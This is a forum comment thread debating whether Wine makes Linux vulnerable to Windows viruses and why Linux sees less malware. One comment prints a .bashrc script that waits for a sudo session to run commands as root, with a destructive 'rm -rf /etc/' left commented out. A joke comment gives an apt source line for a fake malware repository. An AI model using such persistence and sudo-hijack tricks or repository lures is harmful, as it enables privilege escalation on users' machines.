Now Linux Can Get Viruses, Via Wine

fsufitch writes "Wine has advanced enough to make Linux not immune to Windows viruses. However, just like many Wine applications, it takes a bit of effort to get the program off the ground. Also, just like some Windows programs running via Wine, not all features may work — in this case, the crippling of the system, immunity to the task manager, identity theft, etc."

Comments

marketshare

[sopssa]

Haven't it always been pretty clear that Wine could run Windows viruses, as long as they don't use some weird low-level tricks (which admittedly many do)?

But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too). Mac OSX has been getting more and more viruses lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.

As long as the OS isn't completely locked down from the user, there will be malware. Windows, Mac, or Linux cant defend you from that. But none of us really want a locked down OS. And as long as the users are stupid their computers will get infected.

It's just about the marketshare.

Re:marketshare

[MadFarmAnimalz]

Haven't it always been pretty clear that Wine could run Microsoft Office, as long as they don't use some weird low-level tricks (which admittedly it does)?

But for that matter, Linux doesn't have MS Office only because it's desktop share is next to nothing (not the same amount atleast, there are Linux office suites out too). Mac OSX has been getting more and more office suites lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.

As long as the OS isn't completely locked down from the user, there will be office suites. Windows, Mac, or Linux cant defend you from that. But none of us really want a locked down OS. And as long as the users are stupid their computers will get infected.

It's just about the marketshare.

FTFY

Re:marketshare

[sakdoctor]

But none of us really want a locked down OS

WTF?
Microsoft totally fucked up the principle of least privilege from day one. If they hadn't, the damage done by viruses/worms in the history of personal computing, would have been an order of magnitude less.

Re:marketshare

[wizardforce]

So what you're saying is that Linux should be just riddled with various types of malware in the server market because it is both the dominant player in that market and is a significant target considering the server market's importance. Reality seems to disagree with you.

Re:marketshare

[Anonymous Coward]

To be fair, there's a significant effort to install backdoors/trojans on poorly configured linux machines, but the issue is that they're a much more difficult target as servers do not browse websites with IE nor do they open every attachment you send them via email.

What makes most machines insecure is the users, and since a server normally has only 1 very tech-saavy user, the only openings are in poorly configured services. I know that I had phpbb for a long time, and one day I put in a game playing mod (had some goofy things like achievements and little trophies), and I got hacked via a google search.

Fortunately the guy who installed it didn't finish off his attack by clearing his own history, and the server wasn't running as root, so he only got as far as screwing with the main page.

To say that the server market isn't continually targeted is disingenuous. It's just harder because it isn't operated by a ton of idiots (well, most of the time anyway).

Re:marketshare

[0100010001010011]

A link to all those hundreds of OS X viruses that are coming out?

Re:marketshare

[bhtooefr]

The problem is, for a home computer, you are your own sysadmin.

And then the dancing bunnies problem comes into play.

User: "Oooh, I can download this to see dancing bunnies." *downloads and executes malware*
Malware: *tries to install*
OS: "Malware needs root access to install. Please enter your root password." (Windows version of this would be "Cancel or Allow.")
User: *enters root password*
Malware: *infects system*
OS: *pwned*
User: *pwned*

Re:marketshare

[zmollusc]

If I was teh evil malwares writer, I would target OSX as its users have piles of cash. The trick would be to make your pop-up so beautifully coloured, shaded, animated and raytraced that the style-obsessed mac user would fill in his credit card details immediately.

Re:marketshare

[Nerdfest]

Yeah ... but dancing bunnies .... it is a tough call.

Re:marketshare

[TheRaven64]

Except on BSD systems, which only accept arguments before other arguments. This prevents someone from putting a file called -rf in a directory, so when you run rm * the -rf won't be expanded and treated as an argument. If your system doesn't do this, then you should get into the habit of putting -- after the arguments and before the options.

Re:marketshare

[Runaway1956]

"But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing"

I keep hearing that. Everyone says it so it must be true. But, I'm mindful of the fact that only a handful of viruses have EVER been written for Linux, and that the User can't infect the underlying system. It takes Root access to do so, something that is only now beginning to be true for Windows.

It seems that Windows is improving it's security model - but they still haven't caught up with Linux, despite what the fanboys might have to say. Unlike XP, it has always been possible to lock the User down pretty tightly, but still allow User to play any game on the system. More, it has almost always been possible to allow a User to install his games and applications in User Space. That isn't possible with Windows, even with Win 7. When I can create a dozen users, each of whom allows serious infections WITHIN HIS OWN ACCOUNT, but the Admin account remains untouched and unharmed, THEN Windows will be well on the road to having a meaningful security model.

Whatever - I'll believe the basic premise that Linux would be just as vulnerable as Windows if it had market share when I see it. To me, it seems the structure and the philosophy of Linux contradicts what common "wisdom" says.

Re:marketshare

[Bert64]

The idea of multiuser is to protect one user from another... You wouldn't be able to keylog other users at least, and sending spam is something that identd on unix was supposed to deal with, tho the prevalence of single user systems has rendered ident pretty much totally worthless.

Also, nonroot malware is much easier to remove, especially on unix, because there are only a very limited number of places it can hide on the filesystem, it can't do neat tricks like mark areas of the disk corrupt and hide there, it can't hide in system directories amongst the thousands of other files already there, it cant modify the kernel to hide itself... It will show up in the process list when running, whereas with admin privileges it can easily hide itself to the point that you need to boot from clean media.

Re:marketshare

[evilviper]

As long as the OS isn't completely locked down from the user, there will be malware.

If you operate as a non-privileged user, and there aren't gaping local root exploits, malware is pretty damn toothless.

Sure, it could still send out some e-mails, record your keystrokes, etc., but it will show up in `ps` just like any other process, and it will have to launch itself from a few standard few locations available, where it will be easy to find, and stop from running.

So, yes, Linux could have malware, but it would be the minor nuisance type, rather than the "everyone's infected, it's impossible to remove, and the internet is being brought to its knees" type.

Additionally, the problem with Linux viruses is that people get their software from a central repository, with cryptographic checksums and the like. The world would be very different if Windows users got all their software through WindowsUpdate, instead of constantly downloading crap from random websites.

Re:marketshare

[Zancarius]

Except on BSD systems, which only accept arguments before other arguments. This prevents someone from putting a file called -rf in a directory, so when you run rm * the -rf won't be expanded and treated as an argument.

Which BSD?

FreeBSD:

[vbox:example]$ ls -l
total 0
[vbox:example]$ touch -- file1 file2 file3 file4 -rf
[vbox:example]$ mkdir dir
[vbox:example]$ ls -l
total 2
-rw-r--r-- 1 test test 0 Oct 24 16:16 -rf
drwxr-xr-x 2 test test 512 Oct 24 16:16 dir
-rw-r--r-- 1 test test 0 Oct 24 16:16 file1
-rw-r--r-- 1 test test 0 Oct 24 16:16 file2
-rw-r--r-- 1 test test 0 Oct 24 16:16 file3
-rw-r--r-- 1 test test 0 Oct 24 16:16 file4
[vbox:example]$ rm *
[vbox:example]$ ls -l
total 0
-rw-r--r-- 1 test test 0 Oct 24 16:16 -rf

I assume you're talking about a specific shell or rm binary--AFAIK, they all exhibit the same behavior in recent releases.

It's like a what?

[cjfs]

A virus run in Wine is akin to taking a ferocious tiger out of the jungle, paralyzing it, then hooking up all of its nerve endings to virtual jungle simulator. It's not a perfect simulation, though, so the jungle maybe doesn't look right, and plus there's an omnipotent power that can change anything that goes on in the simulation, or even destroy it and the tiger's consciousness with a few twitches of his fingers. Now that's power.

Power that's generated by feeding the dead tigers back to other tigers so we can use their body heat to generate MORE POWER!

On second thought, lets stick to car analogies.

Linux's distribution model helps though

[brunes69]

The way Linux software is distributed, makes it much less likely to get a virus. You know how many applications I have downloaded from random websites in the past 2 years for my Linux system? Maybe, 2. All of the rest are in the centrally managed, (hopefully) certified virus-free application repository, which is free for all.

The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept. For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.

Re:Linux's distribution model helps though

[buchner.johannes]

You, and the majority of Linux users are delusional. You think malware is only executables. A glitch in any software package -- e.g. Firefox or OpenOffice -- would be enough to add a bash script to .bashrc (or replace the file). This can download and start all the software it wants, unless you set the /home partition noexec.
Another attack method would be to append a script to the GNOME startup applications.

Consider appending the following script to .bashrc (no one ever looks in there). Next time you go into your shell and do "sudo su - " or something similar, the script has root privileges (if you use sudo timeouts or no sudo password).
#!/bin/bash

MAXAGE=100

while sleep 10; do

        pgrep -f -U 0 -P $PPID,$$ && {
                # echo parent has a root owned child process
                id=$(pgrep -f -U 0 -P $PPID,$$ | head -n1)
                # wait $id
                age=$(($(date +%s) - $(stat /proc/$id/ -c '%Y')))
                if [ "$age" -lt "$MAXAGE" ]; then
                        # echo the child is young
                        # evil code here
                        sudo touch /root/you_were_hacked
                        # sudo rm -rf /etc/
                fi
        }
done &

With 10+ scripting languages on the average Linux install, the attacker has plenty of choices. Linux is only safer if you use a hardened kernel, SELinux, noexec partitions and read-only binary partitions. Crackers are already laughing about the upcoming, unworried lusers that think their OS is invulnerable.

Re:Linux's distribution model helps though

[reub2000]

su when invoked by an admin doesn't need the users password. And sudo can be used to run su without ever getting the root password, so he's basically gotten a root shell only using the password associated with his own loggin. Of course, 'sudo -s' is a much simpler way to get a root shell.

Just waiting for this e-mail

[fluch]

This is a lonesome linux virus. Please add

deb http://malware.server.ru/debian experimental non-free

to your /etc/apt/sources.list and excecute "apt-get my-first-virus" as root. Thank you very much vor your cooperation.

Re:Just waiting for this e-mail

[sakdoctor]

non-free?

I only install FLOSS malware.

Re:Just waiting for this e-mail

[Anonymous Coward]

Me too, I won't compromise my freedom just to be part of a botnet.

Free alternative: http://www.gnu.org/fun/jokes/evilmalware.html

Linux on a bender

[Anonymous Coward]

What do you expect when Linux gets drunk on Wine and wakes up with Windows it's bound to have caught something.

That's the problem with Wine...

[Interoperable]

I always have to configure the programs so much before they run. It really defeats the purpose of a virus if I have to configure it so much first. Once Linux can run Windows viruses with a one-very-poorly-chosen-click install process I might make the switch. Besides, I can just run my FOSS software under Windows and still have access to all of the proprietary viruses that are only made for windows.

Look to Apple users using VM

[Ilgaz]

If you look deeper to Apple users virtual machines (Sun Virtual Box etc.) , lots of them doesn't bother to install some free AV, a basic one saying "it is virtual anyway". When you talk about how evil things can be done while their virtual machine up and what kind of trouble they may get into if they have bad luck, they install a free AV to Windows.

If you have trouble convincing such people, just use plain logic: It can even run some games let alone a worm/trojan/virus.

It is not in the culture you know...

Experiments

[Aquaseafoam]

I work as a sysadmin at a company making a slow switchover to Linux, and I've experimented with this a bit. You can greatly, greatly limit the damage any virus can cause through wine by unmapping it's Z drive from the wine configuration menu. By default, wine maps / to Z. I can see why they did this, (wine can only run applications within a mapped drive) but it likely needs to be undone across the board. The best alternative would be to create a unhidden wine folder in the user's home directory and map that in wine. If Z is left mapped to /, then a windows virus can run rampant all throughout your system.

Re:Experiments

[TheRaven64]

A virus that is Linux-aware can escape from a WINE sandbox like this very easily. WINE handles Windows library calls, but it can not intercept system calls. If you put a Linux system call number into eax and issue interrupt 80h then you get a Linux system call, irrespective of whether it's a programme running with WINE or a native Linux program. Remember, WINE is not an emulator, it is just a loader and a set of libraries. It doesn't provide any sandboxing. WINE even provides a mechanism for allowing programs to detect if they are running under WINE, so if you can persuade a Linux user to run a program under WINE (or infect another program running under WINE) then you can do anything that the user can do. Unless, of course, you combine WINE with SELinux or some other real sandboxing mechanism.

Windows virus needs help to limp onto WINE

[AliasMarlowe]

So WINE can get a virus intended for Windows, if you jump through some hoops to help the virus along. Color me unworried.

What can a Windows-targeted virus in WINE do to a Linux system, other than hang around looking impotent? Most of the target DLLs and other windows hidey-holes don't exist in WINE. Even if it finds a place to lurk, it's unlikely that it could hit the Linux system files or boot loader, or perform keylogging outside WINE or snoop on private files. A very crude "wipe drive C:" type virus might molest your WINE environment (your data files are elsewhere, of course), but that's about all. Even if the virus were specifically tailored for WINE on Linux, a successful attack would rely on user stupidity even more blatant than Windows viruses must depend on.

TFA even commented on how easy it is to dispose of the malware, even after spending some effort helping it to limp onto your system.

Re:Windows virus needs help to limp onto WINE

[Bert64]

The beauty of wine, is that you can configure multiple wine instances which are segregated from each other, so a virus infecting one won't affect another... Also, since wine is a userland program which is only invoked at the user's request, any malware shouldn't be able to make itself load at boot.

Incidentally, small desktop marketshare is not the only reason, windows has traditionally been more susceptible to viruses due to various design decisions which don't apply to linux, various factors like hiding of file extensions, users being admin by default, files being executable purely based on their filename (linux users have to chmod something first), and the basic fact that windows has its origins in a single user gui addon for dos which had no concept of security whatsoever (yes i know nt does, but they grafted the old 9x interface and apis on top, which fundamentally weakened the security model inherent in nt).

Re:Windows virus needs help to limp onto WINE

[Korin43]

His command is actually even more complicated than it needs to be (deleting wine and reinstalling it). rm -rf ~/.wine && wine will delete the wine folder and rebuild it without the added pointlessness of reinstalling the binaries.

Re:Windows virus needs help to limp onto WINE

[hairyfeet]

You want to know why Linux don't get viruses? You don't get the "Velma" users, that's why. I have a customer we have nicknamed the "walking disaster area" because she will click on ANYTHING that pretends to be a screensaver or comes from one of her friends email addresses, I don't care if the antivirus tries to throw itself between her and the .exe. Just as I had a customer that you could send him ANYTHING with the word 'lesbian" in it, and he would do what? yep, he would run it. .Exe, .VBS, you name it, all it had to do was have lesbian somewhere in the title.

So don't worry, you Linux guys get the "Velma" users I'm quite sure your good friends in Nigeria, the RBN, and China will be cooking up "happy_screensaver.sh" and "hot_lesbians_vid.sh" and the clueless will happily run it and spread bugs like the clap. Trust me, as a PC repair guy for more years than I care to count a good 999/1000 Windows bugs can be traced back to PEBKAC.

not just marketshare

[RiotingPacifist]

Ubuntu 9.10 will start sandboxing desktop programs (starts with xpdf i think), other distros do already/will follow. I think that sandboxing can (and if required will) criple malwares abilities (e.g can't listen on network ports, can't insert itself to bootsequence, can't touch chrome tabs that are connected to https sites) leaving them unable to do most malwarey things without permission and can work like an AV that is designed right (e.g warn users that they are about to do something very stupid, only when they are not everytime they run a 3rd party app/widget, without having to scan binaries)

Re:not just marketshare

[lukas84]

You mean just like Internet Explorer has been doing since the End of 2006?

Re:Just get hacked, it is easier anyway

[argent]

Linux isn't THAT more secure, it is just less targeted since Windows is 90%+ of the computers.

A properly configured UNIX client system is significantly more secure than any comparable Windows system, even if you don't run a firewall. There are two significant differences: Internet Explorer, and Services.

The security model of IE is inherently flawed and can not be fixed without breaking existing applications. Microsoft is unwilling to take that step.

Windows services are neither run from a superserver nor in virtually all cases do they allow binding to specific ports, and Windows networking (LAN Manager) requires having services with open ports.

These are fairly significant problems that can not be addressed without changes to Windows APIs that are unlikely to happen.

I think Apple is about to learn a real lesson with the iPhone being hacked constantly.

If someone has physical access to the system, all the software security in the world is useless. The iPhone is being attacked by the device's *owners*. These are *local exploits*, much more common and of much less concern than remote ones.